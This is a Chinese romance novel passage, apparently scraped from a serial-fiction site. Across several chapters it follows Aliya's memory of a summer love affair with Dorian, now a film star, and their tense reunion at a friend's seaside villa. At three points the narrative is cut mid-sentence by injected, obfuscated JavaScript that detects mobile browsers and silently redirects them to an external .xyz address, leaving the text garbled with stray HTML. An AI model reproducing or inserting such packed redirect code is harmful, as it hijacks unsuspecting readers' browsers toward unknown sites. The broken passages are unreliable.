日光带来的轻微灼烧感由爽利的海风缓和,途经的每家店铺招牌、每座小教堂的门楣都因为眼熟而亲切。那可能是第一次,阿利雅对七月的太阳生不出恶感。 她沿着人行道一直走,直到抵达商业街最西端的咖啡店。 白底招牌上用简单质朴的棕色印刷体写着店名Le Balcon,得名于二楼的宽敞露台。 刚过中午用餐高峰,店外的三张桌子都有客,底楼店内的座位也满了大半。 隔着沿街玻璃,阿利雅一眼就看到了多里安。 他站在咖啡柜台后,俯身把一杯浓缩咖啡搁到餐盘上,正抬头招呼负责接待客人的同事,却有如心电感应,突然侧头朝店外看来,与她四目相对。 笑意倏地点亮他的眼睛,阿利雅不由也笑起来。 多里安每周在‘露台’工作六天,全都是七点开始的早班,轮班时长六小时。 “露台上还有空位吗?”她步入店内,把太阳镜向上推到发间,以熟客的口吻问。 “当然有。”多里安冲柜台后的另一位咖啡师看去。 对方会意地点头,向阿利雅带了点揶揄地眨眼:“有了你,我再也不用确认时间了。你一过来,我就知道已经下午一点了。” 阿利雅上楼时迎面碰到咖啡店店主。因为她基本一天不落地来接多里安,她在老板那里也混了个脸熟。 “你来得正是时候,楼上最好的座位刚刚空出来。” 她道谢,又和老板又闲聊了几句天气和周末计划,这才上楼。 露台边缘视野最好的那桌果然还空着,她钻入遮阳伞下,从草编包里摸出今天刚买的旧书,某本大名鼎鼎的经典中篇小说,出身贫寒的富翁试图用财富重新点燃旧爱,最后却幻灭的悲剧故事。 没翻几页,多里安的声音就在她头顶响起: “您的今日套餐,女士。” 阿利雅笑着抬起头。多里安脱掉了灰色咖啡师围裙,又临时充当起了服务生,在桌上摆开午市套餐的餐点。 “今天的主菜是培根奶油咸派,配油醋汁色拉和橘子慕斯。” 除此以外还有一份员工餐,火腿奶酪三明治配蔬菜汤。 阿利雅没立刻让多里安在对面坐下。她搭住他的手臂,指尖有如寻找他挽起的衬衫袖子,贴着皮肤向上走了几寸。 不需要她再做更多,多里安就自然而然地俯身,和她交换一个浅尝辄止的吻作为问候。 “今天过得怎么样?”他温柔的声调让这句话听上去更像是情话。 “没什么特别的,”她和他碰了碰鼻尖,“毕竟我的今天现在才正式开始。” 多里安怔了一下。如果这里不是公众场合兼工作地点,他看上去很想立刻再亲她,比刚才更深入、更加热情地。 他只能深深地吸了口气。 像在克制自己,却又如用嗅觉暂时代替别的感官,填补对她的渴望。 “你今天真好闻,换了香水?”他低声问,眼睛含着有些不怀好意的笑意。 阿利雅推了他一把:“昨天在二手店淘的。” “下次应该让你帮我也挑一瓶。”多里安在小圆桌对面坐下,顺手帮她倒了杯水。 “那你可以期待一下。” 和中意的对象毫无意义地闲谈也很愉快。但如果事后仔细回忆,却又往往记不清楚到底聊了什么。模糊掉琐碎对话的是一种切实的、让灵魂仿佛也饱足的快乐。 那天午餐时和多里安究竟说了什么,套餐的味道如何,便是这么暧昧不明,却又余韵格外清晰的记忆。 但其间的细节本来也不重要,因为现在是梦中的重演。 前一秒餐盘里的咸派还没动,下一秒,甜点也已经分着吃完。 和多里安坐在可以望见碧蓝大海的露台边角,偶尔地交谈几句,更多时间保持无需刻意维系对话的舒适沉默,餐后的小小一杯清咖啡可以喝很久很久。 就好像这样的下午有无限绵长的时间可以挥霍。 而那个夏天有许多个这样的午后。 但是这一天的午后两点是特殊的。 距离下午的电影开场还早,阿利雅不太专心地翻着书页,并不是手中的中篇故事不够吸引人,而是多里安的目光已经在她身上停留了至少十分钟。 她怀疑他有意捣乱,搅得她无法认真阅读——这家伙时不时会幼稚病大爆发,整出各种稀奇古怪的花样吸引她的注意力。 所以阿利雅努力忍耐,佯装没有察觉他的视线。 毕竟让多里安憋了半天的幼稚大计划落空也是很好玩的。 然而今天的多里安格外有耐性。阿利雅终于忍不住抬头,讶然发现他居然在盯着她出神,灰眼珠快速小幅移动着,昭示脑海之中有什么想法正在全速暴走。 她疑惑地偏了偏头,让自己的脸和对方的视线错开。 注视的焦点移动,多里安回过神来,快速眨眼,目光飞向阿利雅又收回,有点愣愣的。像在回味一个让他惊异的白日梦。 “怎么了?”阿利雅也被带得惊疑不定起来,略微倾身按住他搭在桌面的右手,带有安抚意味地缓慢摩挲。 “不,我没事,”多里安手腕一翻,亲昵地揉捏着她的五指,“我只是……” 他的目光重新落定到她的脸上。 茫然逐渐从他的眉眼间、声音里消失了,剩下的只有纯粹的惊叹: “我只是突然意识到,我好像爱上你了。” 下方街上的车辆驰过的声音,咖啡馆厨房里偶尔响起的吆喝,海鸥的嘶叫,甚至海浪为这座小城一刻不停息地制造的背景声,在那一刻全都按下消音按钮。 阿利雅呆呆地看着多里安,所有情绪仿佛都被那庄重的词语击碎,脸上只剩下空白。 在亲吻后自我介绍,在知道彼此喜欢的颜色之前,就认识彼此卧室床单的颜色,进展飞快的夏日邂逅是愉快的轻浮; 完全回避思考两人份的将来,假装某一场筹备中的婚礼不存在,是狂妄,无根据地坚信到时候这些无解的难题总会有办法解决; 疑惑对方对待这段关系比自己少一分认真,即便如此,仍然不讲道理来袭的独占欲,还有会因为一个眼神、一个触碰点燃失控的欲望,全都让混乱更加混乱,随时可能爆燃。 而‘爱’,这被滥用到陈腐的、却又仍旧保有不可思议魔力的词语,给予轻浮重量,让狂妄有所凭依,在混乱中降下界线和秩序。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379269|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以诗人说爱无中生有,让矛盾成立。 ——沉重的轻浮,严肃的狂妄,整齐的混乱。* 他可能爱她。 这个夏天绝对没可能拥有后续。 两个事实并列,阿利雅的思考几近瘫痪。夏日必然终结这件事原本和日升月落同样理所当然,却第一次让她恐慌到无法呼吸。 突如其来的恐惧感太过庞大,她根本无从辨认,那些被压碎的情绪里是否有惊喜快乐。 而与此同时,她知道时间在一秒一秒地流逝,她在沉默,而沉默是对告白最糟糕的回应。 孱弱的希望在多里安的眼睛里闪烁,他抿了抿嘴唇,努力用玩笑打破令人不安的沉默: “别的回答都可以,我只请求你别说谢谢,真的。” “不……” 多里安因为这一个单词骤然间面色苍白。 阿利雅抽了口气,急促地更正:“我的意思是,我不会说谢谢的,我没准备这么答复。” 他又能呼吸了,但坐姿仍然僵硬。咖啡店精挑细选的椅子突然变得极度不舒服,他随时会忍受不了跳起来。 “我只是太震惊了……”她喃喃,“我——” 她的声音断了半拍,因为多里安突然倾身越过小桌,单手托住了她的脸。 拇指指腹擦过她的脸颊,抹开湿漉漉的触感。 阿利雅这才意识到,大滴大滴的滚烫水珠正不受控地从眼眶滚落脸颊。而她根本不知道,自己是从哪一刻开始有泪意。 多里安肉眼可见地心烦意乱。他试图给她擦眼泪,却明显缺乏经验,又不敢用力,手指不知道该往哪里放。 “我没打算催逼你,你现在可以不给我答复。”他这么说着垂下眼睫,没能掩饰住语气中的绝望。表白把对方吓得哭出来,这好像只能理解为被拒绝。 他什么都不知道,所以完全不明白。 这个念头凭空冒出来,让阿利雅打了个寒颤。 他不明白。不明白为什么她虽然—— 就是那一刻,阿利雅意识到她好像也爱他。 “多里安。”她轻声叫他。 他抬眸看过来,不安的光在瞳仁里动摇。 “我——”她只说出第一个词语,他就读懂了后半句,那个他小心翼翼期待着的答案。 她永远不会忘记他那一刻的神情。 也是在这个地方,阿利雅从旧梦中惊醒。 别墅客房的窗帘遮光能力一流,睁开眼,她只是从梦里跌回另一团清醒的黑暗之中。如果不是隐隐的海潮声,她都要怀疑是否接着在做新的噩梦。 阿利雅仰卧着,一动不动。 而后,她突然用小臂盖住双眼,小声地痛哭起来。 亨利死后,甚至于说在那之前,她就一直没有哭过。 突如其来的泪水并非为了哀悼灾难性收场的那个夏天,与亨利、与他和他的遗产带来的所有麻烦无关,也不因为多里安时至今日依然怨恨她而流。 她只是纯粹地因为一个简单的事实感到悲伤,伤心至极: 那个时候,哪怕是惊惶、苦恼、慌乱到突然哭出来的时候,她其实也很幸福。 她原来也幸福过。 幸福这把温暖的枪,在枪管已然冷却的五年后,射出一发子弹击中她。* 8.3-3 世上有什么能比梦见旧情人更尴尬? 还真有:在其他人应该都还在睡觉的时间下楼,结果和在梦中刚见过一回的人碰个正着。 早晨六点十二分,多里安·巴克斯站在萨金家别墅的开放式厨房里,慢条斯理地摆弄意式咖啡机。 阿利雅只大致看了个轮廓,下意识就退了一步。 她自觉反应够快,等于只在厨房门口晃了一晃。什么都没发生,不如回去睡个回笼觉。她当即转身,正要轻手轻脚地离开,背后就飘来一句: “你跑什么?” 阿利雅沉默了两秒,嚯地转身重新走进厨房。 “我没跑。”她纠正道。 多里安扬起眉毛。 她面无表情地补充:“我只是不想和你说话。” 多里安操作咖啡机的动作顿住。 一秒,两秒,三秒,已经超过意式浓缩理想的萃取时间,因为没人按下停止键,咖啡机高压泵仍然在运作。两人之间的寂静在膨胀,注入杯子的浓缩咖啡液颜色逐渐变淡,眼看着要漫出来。 阿利雅没忍住,朝这杯已经毁了的浓缩咖啡看去。 多里安视线跟着她挪动,轻微的懊恼在脸上一掠而过。 “这话真稀奇,我可不是每天都有机会被人这么嫌弃。”他把过萃的咖啡倒进水槽,语带挖苦地反击。 “那今天你走运了,大明星。”阿利雅回道。 他哼地嗤笑,不再看她,开始认真清理咖啡过滤篮。 不需要继续对话还更轻松。阿利雅目不斜视地从多里安身边走过去,打开冰箱观察里面的库存。 “咖啡欧蕾?”多里安忽然来了一句。 阿利雅慢了半拍才诧异回头。 以前她确实习惯在早餐时来一杯咖啡欧蕾。多里安这么问,只能理解为他不介意给她做一杯。可是—— 多里安仿佛能听到她的心声,呵了一声:“反正一样要重做,举手之劳,我没有心胸狭隘到那种地步。” 顿了顿,他追加有些刻薄的点评:“如果昨天餐后咖啡的品质是常态,我真为这台好机器感到悲伤。” “作为客人,在背后议论主人家很失礼。”阿利雅昨天最后还是没喝克里斯做的咖啡,无法判断多里安的评价是否在理。但她现在充满了和多里安对着干的热情。 好像只有这样,她才能洗掉那个梦讨厌的余韵。 “你知道我是什么样的人。”多里安一耸肩,就差把‘是啊我就是很没礼貌’写在脸上。 尖刻,甚至有点愤世嫉俗,对他不认可的规矩不屑一顾,阿利雅了解的多里安确实有这样锋芒毕露的一面。那个时候,也正是他藏在安静外表下的棱角让她心动着迷。 但是出道以来,他的团队一直严密维持着良好的公众形象: 他对影迷亲切友好,和业内前辈相处融洽,私生活极度低调神秘,狗仔队常年累月地盯梢也没拿到证据确凿的大料。 世间对多里安有多关注,与他有关的八卦消息就有多难搞到手。这导致他有次开车超速被警车拦下靠边,也立刻成了小报头版新闻。 阿利雅以为是娱乐行业让他变得圆滑,但看起来,他只是尽职地扮演了影星多里安·巴克斯这个角色。 “所以?咖啡欧蕾?”多里安又问一遍。 “不,双倍浓缩。” 多里安的视线在她脸上多停留了片刻。 阿利雅忽然十分庆幸客房里就有小型制冰机。离开房间前她再三确认过,眼周已经没有丝毫红肿的痕迹。 “双倍浓缩。”他接受点单似地重复,垂眸把注意力集中到手头的精细活上。 阿利雅也不再搭理他,自顾自用冰箱里剩下的莓果拌了个酸奶碗,到厨房岛台边坐下,背对并排摆了两台咖啡机的饮品角。 咖啡机运作的声响难以忽视,时刻提醒着她这宽敞的开放式厨房里还有第二个人。 她索性摸出手机看邮件,匆匆一扫,挑出最重要的看。 地产经理人昨晚就发了进度报告,博蒙特家旧海滨别墅的现业主的确有出售意向,她约好本周四和对方见面商谈。 然后是私人秘书来信,下月初阿利雅有必要预留出至少两天,参加博蒙特城堡基金会在法人变更后第一次例会。其他所有重要事项都已经加入阿利雅的工作日历。 有记者不知道从哪得到她的个人工作邮箱,邀请她做人物专题采访,删除;订阅的新闻周刊专题简报,随意扫过;护肤品牌新品贵宾体验会邀请函,放置…… 退出邮箱,阿利雅盯着Flickerlog未读消息的红点看了几秒,最后选择点开。 克里斯昨天后来又发来两条消息。 ‘这里的阳台还有屋顶都能看到星空,我突然想起来就告诉你一声。’ 阿利雅已读不回大概五分钟后,他又主动发来一条:‘总之很高兴又见到你[星星]’ 再二十分钟后:‘你今天应该很累了,晚安。’ 再迟钝的人也能觉察,克里斯对她有点过于热情。 阿利雅上次见到克里斯托弗,大概是五六年前,那时他还是个高中小孩。那之后她结婚、移居大洋彼岸,和亨利出去度假也故意避开蔚蓝海岸,和凯蒂都一年几乎见不到几次,更不用说正在念大学的克里斯了。 前缘淡薄,那么只能解释为克里斯对现在的她有一些兴趣。 阿利雅知道自己身上的杀夫疑云在不少人眼里是加分点,看上去神秘危险的异性更容易激发征服欲。 先不论克里斯有几分认真,她不至于和熟人的弟弟搞到一起,那样做的麻烦远大于乐子。但这不妨碍她点开他的账户主页,随手划拉屏幕当作消遣。 这是个私密账户,没有收到邀请的关注者看不到发布的内容。 克里斯这个年龄段和阶层的男孩爱在Flickerlog上分享的东西,在这几乎全都能找到: 喜欢的球星签过名的球衣,从港口出发划船时对着鞋子和装备的特写,各种航海运动的设备,和朋友聚会毫无摄影技巧的合照,缆绳打出各种形态的结,从私人游艇看出去的日落,在瑞士过圣诞一家人的礼物堆…… 他发布的照片给人的印象和本人高度一致。 阳光、健康、家境殷实无忧无虑,十分典型,却也因此好预测,让人安心。 陶瓷与大理石岛台碰撞,发出清脆的响声。一杯浓缩咖啡搁到阿利雅手边。 她抬起头。 多里安不知什么时候到了她身侧。他眼睑微垂看向她,眼珠忽地朝下一动。 阿利雅跟着看过去,她手中屏幕还亮着,几乎正朝对多里安视野中央。哪怕他立刻出于礼貌收回视线,也不可避免一眼就会看个大概。 Flickerlog短视频页面,金发男孩出现在前置摄像头画面中央。 地点是海边,他戴着浅色墨镜,上半身漂亮的肌肉线条在阳光下流畅而分明。他朝着身后的沙滩排球网比划手势,一副势在必得的样子。下一秒,画面后方就飞来个排球,砰地砸中他。镜头乱晃而后变黑。 视频自动静音循环播放,克里斯开始自拍,克里斯被天外飞球击中,笑眯眯的克里斯立刻复活,又开始自拍。 多里安觉得画面里的金发小子眼熟,眉毛拧起,回忆了一秒才想起是谁。他唇角略微抽动,随即绷紧了。 阿利雅下意识反手把屏幕朝下扣在桌面。 干扰源没了,她和多里安的视线再次对上、锁定。 大概要怪他的眼睛擅长迷惑人心,她居然在他无言的注视下,生出一丝微妙的心虚。 多里安维持沉默,仿佛在等待阿利雅主动开口填补疑惑的缺口。 可她有什么可以心虚的呢?过去是过去,现在是现在,她确实辜负、伤害过他,但他总不能要求她为此悔恨一辈子,因而不对任何异性产生兴趣。 阿利雅于是拿起咖啡杯,若无其事:“谢谢。” 顿了顿,她试图开启新话题:“除了准备那个神秘的新项目,你夏天还有什么安排?” 多里安神色反而转冷。 “没什么安排,和你不一样,我没有在夏天让人心碎的习惯。”他怪声怪气地嘲讽。 “什么?”阿利雅就像没听懂他的话,困惑地眨了眨眼睛,绕着杯子把手的指节却因为用力微微泛白。 多里安扯了扯嘴角,灰眼睛冰冷地闪烁着:“希望你对这个男孩,比那时候对我要仁慈一些。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394898|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>阿利雅脸色顿时有些苍白。她浅褐色的眼睛微微瞪大了,好像比这双眼睛的主人更难相信刚才从他漂亮的嘴唇里吐出了什么话。 他懊悔地抿了一下嘴唇,还没出言缓和气氛,就是咚的一声。 阿利雅的咖啡杯重重敲在大理石台面,混着咖啡豆浓郁油脂的浊液飞溅,在桌面砸出两朵丑陋的花。 她用气声,一个词一个词地缓慢念:“我要和谁在一起、对谁怎么样,都和你没、有、任、何、关、系了。” 多里安表情出现瞬间的空白。 他几乎是依靠着本能反唇相讥:“我以为我作为受害者,有权利,也有义务防止其他人落入和我一样的境地。” “能别再扮演受害者了吗?我不是你的粉丝,不会因为你皱一下眉毛就心疼,”阿利雅似笑非笑地拖长了声调,“上帝啊——你该不会在嫉妒吧?哇,我受宠若惊。” 多里安也笑,受不了似地别开脸:“很抱歉,要让你失望了,我还没沦落到那个地步。” 哪怕早知道答案,真的亲耳听到他坚决地否定这个可能性,阿利雅的胸腔内部还是有什么轻轻揪住,蓦地用力坠了一下。 难过吗?她不知道。她什么都感觉不到。 她用纸巾擦掉洒出来的咖啡,把剩下一口没动的意式浓缩倒进下水槽。 多里安隔着岛台盯着她,数次嘴唇分开又抿紧。 仍然温热的咖啡被冷水冲进下水道时也散发着迷人的、隐约带坚果味的香气。阿利雅毫不怀疑,她倒掉的咖啡味道很好。 其实近几年她连咖啡也很少喝,需要保持警醒敏锐的时候,靠茶叶一样能提神。 现在看来,那是正确的决定。最完美的咖啡滋味只存在于美化过的夏日记忆之中,真的试图去复刻只会失望。 多里安其人好像也是这样。美好到让她悲伤的梦正因为是虚幻才美好,在现实中,一顿早饭的时间都不需要,她就又轻易地和他吵起来。 算了,还是找点茶包来泡,阿利雅记得凯蒂偶尔也会喝红茶。 她不见外地打开厨房储物角的一个个柜子找茶叶,开关柜门的动作隐隐带了怒气。 脚步声到了她背后。 “阿利雅,刚才——”多里安的话被另一道声音打断。 “早,这咖啡好香。” 克里斯托弗打着哈欠走进厨房,看到挤在储物角的两个人,意外地顿了一下,“你们想找什么?我来拿吧。” 阿利雅回过身时神色如常,她朝克里斯迎了两步,不动声色地和多里安拉开距离:“我早晨习惯喝点红茶,但我找不到茶包在哪。” “噢,你们找错地方了,”克里斯笑了,“茶叶和咖啡豆放在一起。” 他说着从咖啡机上方的储物格里取下几个金属茶叶盒,一字排开。 咖啡机边还有一杯没动过的咖啡,克里斯注意到了。 “我做了点咖啡,希望你不介意,”踱到克里斯身边的又是那个和善亲切版本的多里安了,“你想喝什么?谢谢你们的热情招待,至少让我用一杯咖啡表达谢意。” 克里斯对多里安制作的咖啡赞不绝口,两位先生凑在半自动咖啡机前友好交流,阿利雅随便泡了杯茶,坐下吃已经放置成常温的酸奶。 “嘿,阿利雅,”克里斯走到厨房岛台边上,拿了个碗往里倒无糖麦片,“我能问你件事吗?” “什么?”她撩起眼皮,余光却不受控地捕捉到多里安的位置。 他端着咖啡又晃到落地窗边去了。 “我在想,如果你有兴趣的话……早饭之后,我们可以在附近散步走走?我知道几条很棒的散步路线,清静而且安全。”克里斯说完舔了舔嘴唇,显得有些紧张。 “我正好想出去透透气。” 克里斯愣了愣,随即笑弯了眼睛,在阿利雅对面坐下:“太好了。” 他随即想起来这里还有一个人,出于礼貌也问道:“多里安,你要一起来吗?” 多里安循声回头,看向坐在厨房岛台边上的这对散步搭子。 客观来说,两个人倒勉强有一点般配。 “多谢邀请,但不了,”多里安收回视线,礼貌地回绝,“今天早上我已经有别的安排。” 9.3-4 沿着豪华住宅区的私家道路一直往山丘上开,不到二十分钟就是座露天观景台。 越过郁郁葱葱的植被,市区和著名的港口都如画卷舒展眼前。 多里安环顾四周,开阔的景致仿佛能容纳所有心绪,他长长地吐息,把胸腔内的浊气吐尽。然后他转头说道:“视野真不错,怪不得你一定要带我开车上来。” “这平台是附近的最高点……说是卡维拉的最高点大概也没问题。”菲利普指了指绿荫中隐约冒出一个角的浅色建筑物,如数家珍地介绍起来。 “萨金家的房子在那。爱德华·罗纳,对,就是那个导演,他的假日别墅在往左边更远的那个方向。看到有尖塔的、哥特式城堡一样的房子吗?就是那儿。当然,最棒的还是卡维拉港的全景,日落和日出的时候这里景色美极了。” “如果不是你,我都不知道卡维拉还有这样的好地方。谢谢你,菲利普,也多谢你们的招待。”多里安很客气。 菲利普哈哈一笑:“你过两天还要去匈牙利继续拍摄,是我突然邀请你过来,希望昨天晚上你过得还算愉快。” 多里安斟酌了片刻用词:“是个很有意思的夜晚。” “不用那么委婉,我知道我和我未婚妻、还有她的家人气氛微妙,”菲利普坦然摆了摆手,“凯蒂鄙视并且厌恶我,这是公开的秘密。假如我们的关系可以成为某部电影的参考素材,那会是我的荣幸。” 最后这句说得半真半假。 多里安垂睫,转移话题似地说:“到场的特殊宾客也让人惊讶。” “噢,”菲利普愣了一下,转而恍然,“她确实是位特殊的客人。她和凯蒂好像很小的时候就认识了。” 多里安对此并不惊讶。 昨天其实并不是他第一次见到凯蒂·萨金。 五年前的那一天,阿利雅彻底离开他的那天,某座豪华度假酒店门口,阿利雅和凯蒂·萨金拥抱问好,而后谈笑着穿过旋转门,门童提着她的行李袋忙不迭跟上去。 多里安记得很清楚,阿利雅穿的是二手店标价15欧元的象牙色吊带裙。那条裙子的裙摆被海边礁石勾破过,最后是他帮她裁短的。她就那样走进散发着昂贵香气的敞亮大堂,像鱼回到熟悉的水域。 而他隔着一条马路看着,在酒店保安略带狐疑的注视下只能看着,感觉自己像个白痴。 阿利雅显然什么都没告诉过凯蒂。凯蒂对他们的那个夏天、对他在阿利雅的人生里短暂存在过,全都一无所知。 “一个女继承人,和另一个女继承人,很合理。”多里安哂然弯唇。 “你对阿利雅感兴趣?”菲利普随口一问。 多里安却沉默了半拍。他也无法解释清楚缘由。答句就是没法立刻顺畅出口。 “当然,我当然对她感兴趣,”他旋即戴好若无其事的面具,“谁不是呢?那时候她的案子在欧陆都成了新闻热点,在合众国那边关注度肯定只有更高。” “是啊,铺天盖地,到处都是,”菲利普受不了地摇头,忽然斜眼睨过来,“你觉得是她干的吗?” “我不知道。” 他也不在乎。 菲利普不好和凯蒂议论她的朋友,显然憋了一个晚上,有点收不住话头:“我打赌她丈夫的死和她脱不了关系,恰好在死前两周前修改好遗嘱?恰好她在做心理咨询,案发前后一整个时段都有完美的不在场证明?恰好那天亨利的理疗师休假,所以事发时没有任何人在泳池附近?这根本不像亨利·道尔那个控制狂可以容忍发生的失误。一切实在是太凑巧,对她太有利了,不是吗? “啊,这不是说我仇视她。恰恰相反,我甚至有点佩服她。不是谁都能从这种事里毫发无伤地脱身的。” 毫发无伤吗? 多里安笑了笑,没做评价,反而顺着话题问:“你好像很熟悉她丈夫的为人,你们认识?” “亨利·道尔?不,算不上认识,我们的圈子不同,我在一些活动酒席上碰见过他们夫妇俩。” 够了。别打听了。这些都和你无关。多里安告诫自己,但下一刻,他就听到自己说: “哦?他们是什么样的?一有机会就用眼神狠命戳对方,恨不得对方死?” 菲利普被多里安极具画面感的描述逗笑了,他本来就非常容易被逗乐。 他迎着晨曦思索了片刻:“不,不是那样。他们……就是一对典型的权势伴侣(power couple)?存在感很强,有眼睛的人都能看出来他们并不相爱,但他们能容忍彼此,像一对优秀的生意合伙人。这么说来,阿利雅昨天晚上讲的大概基本是真的。” 停。这个话题到此为止。多里安的指甲掐进掌心。但疼痛无法遏止失控的探究心。 “她看……上去快乐吗?”他忽然差点呛住,句子有些破碎。 菲利普惊讶地看他一眼。 “我问得太多了,不是吗?”多里安笑起来,朝台阶下方停靠的SUV看了一眼,“风有点大,或许是时候下山了。” “狗屎,已经这个时候了,希望不会堵车。” 两人走下观景台,多里安漫不经心地补充:“伊娃对她的角色理解还不是很满意,她的角色和德·博蒙特小姐有一点共通之处,我觉得或许可以当作参考,所以多打听了一点。” “你这么一说确实,”菲利普坐进驾驶座,刚才这番闲聊过后,他对多里安的态度更随意了,“如果你不介意我问的话,你和伊娃·菲——” 他意味深长地拖长声调。 多里安嗤笑:“我以为你应该知道这种八卦消息有多不可信。不,我和她只是同事关系。” 菲利普不太相信,用力一打方向盘:“拜托,那可是伊娃·菲。” “昨天中午我们在卡维尔的拍摄结束,聚餐时餐馆对面的房顶上有人拿着长焦镜头,”多里安向后一靠,疲惫地叹息,“只要拍个几千张照片,总能找到几张合适的,煞有其事地编故事。” 菲利普虽然聒噪,却懂得见好就收。 “多里安,其实对你现在和伊娃他们在拍的这个项目,在宣发方面我有一些新想法,尤其考虑到你有意愿转型……” 话题转回了娱乐业。 “嗯?那是克里斯托弗和阿利雅?”菲利普看向道路对侧前方,林间另外开辟了步行小道,确实依稀有两个眼熟的身影并排前行,他略微减速,“也许可以调个头,或者停下来和他们打个招呼?” “不用了,”多里安收回视线,“没必要打扰他们。而且我现在真的很担心我们会迟到。” “你说得对。反正我也不是非得和那小子道别。”菲利普一踩油门,SUV提速,很快驶离了这片高级住宅区,汇入城区车流。 多里安随口应付着菲利普,侧头看向窗外。 宛如某种在松懈时发作的陈年恶疾,又或是一种无法彻底代谢出去的毒素,每次在他以为自己终于已经彻底放下的时候,阿利雅就会出现,忽然之间无处不在。 亨利·道尔意外死亡那时是这样,现在又是这样。 三年前,只要进一个与世隔绝的组拍戏,他就得以脱身,不用一次又一次毫无准备地面对阿利雅的脸。但这次不同。 和阿利雅同处一个空间比多里安预想得还要难以忍受。 好在她显然并不想和他再有任何瓜葛。 昨天只是命运开的恶趣味玩笑,一个偶然,他们大概不会再见面了。 多里安塞上耳机,佯作小憩让菲利普闭嘴,而后闭上眼。 ※ “呼,怎么样?”克里斯打开别墅安全门,让阿利雅先进去。 她喝了口水:“呼吸新鲜空气感觉舒畅多了,这个上午过得很愉快。” “太好了,”克里斯抿了抿嘴唇,“之后我们还可以这样出去散步。这个夏天我基本都待在这里,所以——” 他忐忑地顿住。 “当然,我们可以叫上凯蒂一起,甚至菲利普。那肯定会很有趣。”阿利雅笑着回答。 克里斯表情微微凝滞,他摸了摸鼻子,努力跟着笑:“确实。” 两人进门时,凯蒂刚做完青汁饮品,她叼着吸管走出来:“散步怎么样?” “嗯,很棒,”克里斯回答得有点心不在焉,他换鞋时多看了一眼鞋柜,“那个混蛋已经走了?也是,没看到他的车。” “菲利普和多里安上午有个会,就先进城了。” 阿利雅怔了怔,几乎立刻调整好表情。 “克里斯,如果你不想让我叫人帮你整理房间,你最好今天把行李拆完。” “知道了,姐——”克里斯扁嘴朝楼上走,转身冲阿利雅抬了抬手,“之后见。” 凯蒂受不了地摇摇头:“你们今天走的哪条路?但愿我弟弟没有惹你烦。” “没有,他是个好向导。” “可以给我几分钟时间吗,亲爱的,我有事想和你说。”凯蒂往客厅走去。 阿利雅在沙发上坐下,看了凯蒂几秒,抬头确认楼上无人经过,略微压低声音:“如果你担心的是克里斯和我,我没有那个意思,也不会让事情变得难堪。” 凯蒂的神色顿时有些复杂。她咬着吸管沉默了片刻,尴尬地连续眨眼:“据我所知,你大概是他的第一个crush对象。如果他一定要和你发生什么,即便作为姐姐,我也没立场插手。 “但还是谢谢你这么说……如果你们真的有点什么,那样确实会有一些尴尬。” 阿利雅笑眯眯地接口:“无意冒犯,但你也应该知道,我喜欢的类型说实话和你弟弟——” “你这么说我又有点不服气了,”凯蒂朝她丢了一个抱枕,“虽然他是我弟弟,但他比你在青春爱情片里会喜欢的那种……难以捉摸、难搞定的阴郁男孩,还是好一点。话说回来,现在你喜欢的还是这种类型吗?” 阿利雅抬起眉毛:“不予置评。” 凯蒂挪到她身侧:“说起来,多里安·巴克斯不就总是演阴郁的漂亮男孩?昨天我就想说,你们两个之间有种气氛,火花四溅的……你没感觉到什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409272|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凯蒂在人际方面总是尤其敏锐。阿利雅无视突然的心悸,哧地笑出声:“我该感觉到什么?” “别告诉我你没发现,昨天晚上我可没喝醉,我不止一次注意到他盯着你看。” 阿利雅耸肩:“我臭名昭著,而且我很漂亮。初次见面的人基本都会盯着我看。” “不不不,我没那么蠢,不是那种眼神。” “那是哪种?”阿利雅戏谑的笑意渐敛。 “众所周知,我没什么文学素养,我描述不清楚,”凯蒂喝了一大口青汁,“你们交换联系方式了吗?没有也没关系,菲利普在这种时候倒是有点用。” 阿利雅咳嗽:“不用了谢谢,我真的不需要你帮我和大明星牵线。” “为什么不?你现在真的可以找点乐子。如果对方是那种等级的大众情人,绝对不亏。” “多谢好意,但还是算了。” 凯蒂也没坚持,两个人从埋汰菲利普到以前一起看过的青春片,说了好一阵没营养的笑话。 而后对话像跌下悬崖,陡然陷入沉默。 “阿利雅,你是个有很多秘密的人。”凯蒂冷不防冒出一句。 “我——” “褒义的意思。我们刚认识的时候才几岁?具体为什么我忘了,但那时候我就觉得你心里很能藏住事。那些秘密让你强大。” “虽然你在夸我,但我不确定你这夸奖的根据在哪。”阿利雅试图开玩笑蒙混过去。 凯蒂叹了口气:“比如,你结婚前的那个夏天,你突然就不知道从哪里冒出来,打电话问我在哪,能不能来看我。” 阿利雅攥着靠垫的流苏装饰物,垂着眼睑没说话。 